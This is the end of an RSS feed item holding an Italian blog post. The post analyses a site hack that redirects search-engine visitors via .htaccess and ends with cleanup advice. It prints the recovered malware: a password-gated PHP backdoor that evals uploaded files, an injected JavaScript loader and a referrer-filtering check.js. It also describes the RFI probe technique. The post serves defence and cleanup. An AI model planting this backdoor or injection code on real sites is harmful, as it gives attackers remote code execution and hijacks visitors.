<p class="bbcode">In alcune situazioni è capitato di individuare del codice inserito anche nelle pagine <strong>Php (.php;.php3)</strong>.Tale codice serve a colui che attacca per verificare la presenza di vulnerabilità nella vittima e, in particolare, per verificare che eventuali inclusioni esterne vengano elaborate correttamente.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">echo</span> “<span style="color: #000088;">$t</span>\n”<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>     say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span>”testdata_<span style="color: #000088;">$t</span>”<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> “ ”<span style="color: #339933;">;</span> testdata<span style="color: #009900;">&#40;</span>’start’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>”aace99428c50dbe965acc93f3f275cd3?<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>”rb”<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
 <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span> testdata<span style="color: #009900;">&#40;</span>’f<span style="color: #0000ff;">');
 };
 }     else{testdata(’pass’); };
testdata(’end’);
echo ”  “; ?&gt;</span></pre></td></tr></table></div>

<p><br class="spacer_" /></p>
<p>Il codice presente nei <strong>CSS</strong> e nei <strong>JavaScript</strong> è stato <strong>decodificato</strong> e in chiaro appare così:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>document<span style="color: #339933;">.</span>getElementById<span style="color: #009900;">&#40;</span>’JSSS’<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
JSS1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">59</span><span style="color: #339933;">;</span>
JSS2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">159180</span><span style="color: #339933;">;</span>
JSS3 <span style="color: #339933;">=</span> ‘<span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>dummy<span style="color: #339933;">.</span>htm’<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">var</span> js <span style="color: #339933;">=</span> document<span style="color: #339933;">.</span>createElement<span style="color: #009900;">&#40;</span>’script’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
js<span style="color: #339933;">.</span>setAttribute<span style="color: #009900;">&#40;</span>’src’<span style="color: #339933;">,</span> ‘<span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>check<span style="color: #339933;">.</span>js’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
js<span style="color: #339933;">.</span>setAttribute<span style="color: #009900;">&#40;</span>’id’<span style="color: #339933;">,</span> ‘JSSS’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
document<span style="color: #339933;">.</span>getElementsByTagName<span style="color: #009900;">&#40;</span>’head’<span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>item<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>appendChild<span style="color: #009900;">&#40;</span>js<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Infine viene creato un file &#8220;<strong>check.js</strong>&#8221; contenente il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>Math<span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span> <span style="color: #339933;">&lt;</span> JSS1<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> document<span style="color: #339933;">.</span>referrer<span style="color: #339933;">.</span>match<span style="color: #009900;">&#40;</span><span style="color: #339933;">/</span>^http<span style="color: #339933;">:</span>\<span style="color: #339933;">/</span>\<span style="color: #339933;">/</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span>a<span style="color: #339933;">-</span>z0<span style="color: #339933;">-</span><span style="color: #cc66cc;">9</span>_\<span style="color: #339933;">-</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span>\<span style="color: #339933;">.</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span>google<span style="color: #339933;">|</span>msn<span style="color: #339933;">|</span>yahoo<span style="color: #339933;">|</span>live<span style="color: #339933;">|</span>ask<span style="color: #339933;">|</span>dogpile<span style="color: #339933;">|</span>mywebsearch<span style="color: #339933;">|</span>yandex<span style="color: #339933;">|</span>rambler<span style="color: #339933;">|</span>aport<span style="color: #339933;">|</span>mail<span style="color: #339933;">|</span>gogo<span style="color: #339933;">|</span>poisk<span style="color: #339933;">|</span>
alltheweb<span style="color: #339933;">|</span>fireball<span style="color: #339933;">|</span>freenet<span style="color: #339933;">|</span>abacho<span style="color: #339933;">|</span>wanadoo<span style="color: #339933;">|</span>free<span style="color: #339933;">|</span>club<span style="color: #339933;">-</span>internet<span style="color: #339933;">|</span>aliceadsl<span style="color: #339933;">|</span>alice<span style="color: #339933;">|</span>skynet<span style="color: #339933;">|</span>terra<span style="color: #339933;">|</span>ya<span style="color: #339933;">|</span>orange<span style="color: #339933;">|</span>clix<span style="color: #339933;">|</span>terravista<span style="color: #339933;">|</span>gratis<span style="color: #339933;">-</span>ting<span style="color: #339933;">|</span>suomi24<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">./</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

</pre>
<h1><strong>Come Lavora</strong><br />
</h1>
<p>Dalle verifiche che ho potuto effettuare per ora risulta che non vi è una tecnica costante di intrusione ma i siti vengono hackerati sfruttando le falle presenti quindi si va dall'<strong>XSS (Cross Site Scripting)</strong> all'<strong>RFI (Remote File Inclusion) </strong>all'hacking (probabilmente tramite <strong>Brute Force</strong> ) dell'account Ftp con successivo upload dei file.</p>
<p>Nel dettaglio lo script effettua una primo tentativo di attacco tentando una <strong>HTTP Injection</strong> nel tentativo di fare includere nelle pagine della vittima un Url ad una pagina contenente il solo codice:</p>
<blockquote><p><strong><a title="Urlencoded Server list just_a_test" href="http://www.embedded.ch/php-echo-md5-just_a_test.htm"><strong>< ?php echo md5("just_a_test"); ?></strong></a></strong></p>
</blockquote>
<p>Questo semplice codice servirà a chi esegue l'Hacking per verificare la presenza della vulnerabilità o meno. Se tramite l'<strong>Http Injection</strong> individua nella pagine della vittima la stringa <strong>MD5</strong> della parola "just_a_test" avrà conferma che la vittima è vulnerabile in quanto elabora correttamente pagine esterne.</p>
<p>Se tale test da esito positivo effettuerà una seconda <strong>HTTP Injection</strong> facendo eseguire uno Script Php che provvederà a scansionare tutte le cartelle e file presenti nel sito creando i file ".htaccess" ed eseguendo l'edit di ogni file "<strong>.css</strong>" e "<strong>.js</strong>".</p>
<p>Potete trovare il dettaglio dei codici che vengono sfruttati nei seguenti link:</p>
<p><a href="http://www.whyron.com/http.htm" target="_blank">WhyRon 1</a></p>
<p><a href="http://www.embedded.ch/http2.htm" target="_blank">WhyRon 2</a></p>
<h1><strong>Come Rimuovere il Malware?</strong><br />
</h1>
<p>Attualmente, al fine di proteggersi e pulire il proprio sito è consigliabile effettuare le seguenti operazioni:</p>
<ol>
<li>Ricercare in tutti i file del proprio sito la stringa "<strong>a0b4df006e02184c60dbf503e71c87ad</strong>" ed eliminare il codice da tutte le pagine dove viene trovato. Eseguire la stessa ricerca cercando la stringa "<strong>aace99428c50dbe965acc93f3f275cd3</strong>" ed eliminare i file dove viene trovato. Il software <a href="http://www.powergrep.com/" target="_blank"><strong>PowerGrep</strong></a> (<a href="http://rapidshare.com/files/92492752/JGSoft.PowerGREP.v3.4.2-YAG.rar">Link Rapidshare</a>) in questo caso è molto utile.</li>
<li>Eliminare tutti i file e cartelle che si è sicuri non facciano riferimento al proprio sito. (Il file "t.htm" contenente la pagina malevola viene inserito all'interno di cartelle con nomi che apparentemente sembrano essere generati random)</li>
<li>Effettuare una scansione del proprio sito al fine di individuare la vulnerabilità che ha permesso tale intrusione. In questo caso consiglio di utilizzare uno degli Scanner disponibili on line come, ad esempio, <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank"><strong>Acunetix</strong></a>. </li>
<li>Effettuare un cambio dei dati o della sola password Ftp de Sito.</li>
</ol>
<p>Spero che tali informazioni siano state utili e vi informo che provvederò a mantenere aggiornato questo post man mano che scopro maggiori informazioni riguardo tale Hacking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.capn3m0.org @ 2012-02-08 05:53:03 by W3 Total Cache -->
